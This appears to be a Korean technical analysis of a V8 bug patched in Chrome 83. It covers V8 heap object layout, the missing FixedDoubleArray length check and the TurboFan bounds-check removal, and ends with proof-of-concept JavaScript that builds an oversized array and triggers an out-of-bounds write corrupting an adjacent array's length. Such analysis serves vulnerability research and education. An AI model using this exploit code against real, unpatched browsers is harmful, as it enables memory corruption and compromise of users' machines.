Chrome 83.0.4103.106 release note · 수정된 V8 fixed-array.tq
V8 내부 객체 구조
V8의 모든 HeapObject는 Map word로 시작한다. 다만 아래의 properties와 elements 슬롯은 모든 객체에 공통으로 존재하는 헤더가 아니라 JSObject 계열의 기본 레이아웃이다.
[ Map Pointer | Properties Pointer | Elements Pointer | … (in-object fields) … ]
- Map Pointer
- 이 객체의 형상(shape)을 정의하는 값이다.
- Hidden Class라고도 부르며, 프로퍼티 이름·순서·표현 방식·접근 오프셋 등의 메타데이터를 가진다.
- Properties Pointer
- 객체 밖에 저장되는 named property 값의 저장소를 가리킨다.
- Fast Properties 모드의 descriptor는 Map에 연결되고, 객체 밖의 값은
PropertyArray에 저장된다. Dictionary Properties 모드에서는 dictionary 형태의 저장소를 사용한다.
- Elements Pointer
- 인덱스 property의 저장소를 가리킨다.
- 보통
FixedArray또는FixedDoubleArray를 사용하며, backing store 자체가 길이와 원소 슬롯을 가진다.JSArray의 논리적length는 배열 객체에 별도로 저장된다.
- In-Object Fields
- Map에 정의된 in-object property count만큼 객체 내부에 배치되는 슬롯 공간이다.
a = 1;
b = true;
c = ['1', '2'];
d = {"a": 2};
e = {"b": 1, "c": 3};
- a = 1
1은 Smi(Small Integer)로 태그되어 레지스터나 스택에 직접 저장된다. 사용 가능한 payload 비트 수는 아키텍처와 pointer compression 설정에 따라 달라진다.
별도의 heap 객체를 할당하지 않고 즉시 사용할 수 있다.
- b = true
true는 Smi가 아니라 V8이 미리 생성해둔 oddball heap object를 가리키는 값이다. 값을 사용할 때마다 새 객체를 할당하지는 않는다.
- c = [‘1’, ‘2’]
- HeapObject 헤더
┌───────────────────────────────────────────┐ │ HeapObject for Array c │ │ ┌────────────┬───────────────────────────┐│ │ │ Map Ptr │ → Map_Array ││ │ ├────────────┼───────────────────────────┤│ │ │ properties │ → empty_properties_array ││ │ ├────────────┼───────────────────────────┤│ │ │ elements │ → FixedArray (len=2) ││ │ ├────────────┼───────────────────────────┤│ │ │ InObject0 │ (unused) ││ │ └────────────┴───────────────────────────┘│ └───────────────────────────────────────────┘- Map_Array: 배열의 Map
- properties: named property가 없다면 빈 properties 저장소를 가리킨다.
- elements: 이 예시에서는
FixedArray에 문자열 원소를 가리키는 tagged value 두 개가 저장된다.- 문자열
'1','2'는 heap의 String 객체로 표현된다.
- 문자열
- d = {“a”: 2}, e = {“b”: 1, “c”: 3}
- property가 추가되면 일반적으로 Map 전이가 일어난다.
- 작은 객체의 초기 property는 흔히 in-object field에 저장된다. 공간이 부족해지면 값이
PropertyArray로 이동할 수 있으므로, 항상properties가FixedArray(len=1)로 바뀐다고 볼 수는 없다.
Root Cause
- 배열 생성 시 최대 길이 검사 누락
V8 소스의 fixed-array.tq 파일에 정의된 매크로 NewFixedDoubleArray에는 생성하려는 배열의 길이가 kFixedDoubleArrayMaxLength를 초과하는지 검사하는 코드가 빠져 있다.
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
objects: …it
};
}
이 때문에 길이가 한계치를 초과한 FixedDoubleArray 생성 경로가 열리고, 이후 V8이 전제하는 최대 길이 범위를 벗어난 상태가 만들어진다.
- JIT 최적화 과정의 잘못된 검사 제거
TurboFan은 simplified-lowering 단계에서 타입 분석상 index < length가 항상 참이라고 판단하면 MaybeGrowFastElements를 기존 elements로 대체하는 최적화를 수행했다.
case IrOpcode::kMaybeGrowFastElements: {
ProcessInput(node, 0, …); // object
ProcessInput(node, 1, …); // elements
ProcessInput(node, 2, …); // index
ProcessInput(node, 3, …); // length
ProcessRemainingInputs(node, 4);
SetOutput(node, MachineRepresentation::kTaggedPointer);
- if (lower() && index_type.Max() < length_type.Min()) {
- DeferReplacement(node, node->InputAt(1));
- }
return;
}
배열 최대 길이 검사가 빠져 만들어진 비정상적으로 큰 배열은 이 타입 범위 전제를 깨뜨린다. 그 결과 위 최적화가 elements 확장 검사를 잘못 제거하고 OOB 쓰기로 이어진다. 즉 TurboFan에 배열 경계 검사가 전혀 없는 것이 아니라, 취약한 배열 길이와 잘못된 최적화 조건이 결합된 문제다.
PoC
giant_array생성
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
array 길이: 0x40000 (262 144)
args에 0xff개(0x100 - 1)의 동일 배열 추가 → 길이 = 0x40000 × 0xff
마지막에 길이 0x40000−4 (262 140) 배열 추가 → 총합 = 262 144×255 + 262 140 = 67108860
splice를 통한 배열 재생성
giant_array.splice(
giant_array.length, 0, 3.3, 3.3, 3.3
);
이 호출로 V8은 내부적으로 새로운 FixedDoubleArray를 만들면서 길이를 67108863으로 설정한다.
그러나 취약한 버전의 NewFixedDoubleArray는 최대 길이(kMaxLength = 67 108 862) 초과 여부를 검사하지 않으므로 내부 가정이 깨진 배열이 만들어진다.
- 경계 검사 제거 반복 트리거
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
JIT 컴파일러가 trigger 함수를 반복 실행해 최적화를 활성화한다.
최적화된 머신 코드에서는 잘못된 타입 추론으로 elements 확장 검사가 제거되어, 이후 해당 함수를 호출할 때 OOB 쓰기가 발생한다.
- OOB 쓰기
function trigger(array) {
var x = array.length; // 67 108 863
x -= 67_108_861; // 2
x = Math.max(x, 0); // 2
x *= 6; // 12
x -= 5; // 7
x = Math.max(x, 0); // 7
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
x 계산 결과는 7인데, 실제 corrupting_array의 길이는 2이므로 인덱스 7은 경계 밖이다.
이때 length_as_double을 써서 인접 메모리를 덮어쓰게 된다.